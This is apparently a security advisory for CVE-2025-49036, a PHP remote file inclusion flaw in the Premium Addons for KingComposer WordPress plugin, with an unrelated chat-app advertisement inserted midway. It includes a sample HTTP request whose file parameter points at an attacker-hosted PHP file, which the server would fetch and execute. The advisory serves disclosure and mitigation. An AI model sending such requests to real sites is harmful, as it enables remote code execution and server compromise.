Overview
A serious vulnerability, CVE-2025-49036, has been identified within the octagonwebstudio Premium Addons for KingComposer. This vulnerability, known as PHP Remote File Inclusion (RFI), can potentially lead to a system compromise or data leak if successfully exploited. This susceptibility primarily affects users of the Premium Addons for KingComposer version up to 1.1.1. It’s vital for administrators and developers using this plugin to understand the risks associated with this vulnerability and take immediate steps to mitigate it.
Vulnerability Summary
CVE ID: CVE-2025-49036
Severity: High (CVSS: 8.1)
Attack Vector: Network
Privileges Required: Low
User Interaction: None
Impact: System compromise and potential data leakage
Affected Products
Escape the Surveillance Era
Most apps won’t tell you the truth.
They’re part of the problem.
Phone numbers. Emails. Profiles. Logs.
It’s all fuel for surveillance.
Ameeba Chat gives you a way out.
- • No phone number
- • No email
- • No personal info
- • Anonymous aliases
- • End-to-end encrypted
Chat without a trace.
Product | Affected Versions
Premium Addons for KingComposer | Up to 1.1.1
How the Exploit Works
The vulnerability exists due to the improper control of filename for Include/Require Statement in PHP Program within the Premium Addons for KingComposer. This flaw allows an attacker to manipulate PHP’s include or require statements to execute remote PHP files. Attackers can exploit this to bypass expected control paths, thereby potentially leading to unauthorized access, system compromise, or data leakage.
Conceptual Example Code
Here is a conceptual example of how the vulnerability might be exploited. The attacker sends a request to the server with the path of the malicious file embedded in the URL. This file is then included and executed by the server-side PHP engine:
POST /index.php?file=http://attacker.com/malicious_file.php HTTP/1.1
Host: target.example.com
Content-Type: application/x-www-form-urlencoded
{ "param": "value" }
In this example, the malicious_file.php is hosted on the attacker’s server, and when the PHP engine processes the file parameter in the URL, it includes and executes the attacker’s malicious PHP file.
Mitigation
To mitigate this vulnerability, users are advised to apply patches provided by the vendor as soon as possible. If a patch is not immediately available, using a Web Application Firewall (WAF) or Intrusion Detection System (IDS) can serve as a temporary mitigation measure. Additionally, developers should also sanitize all inputs and avoid using user input directly in the include or require statements in PHP.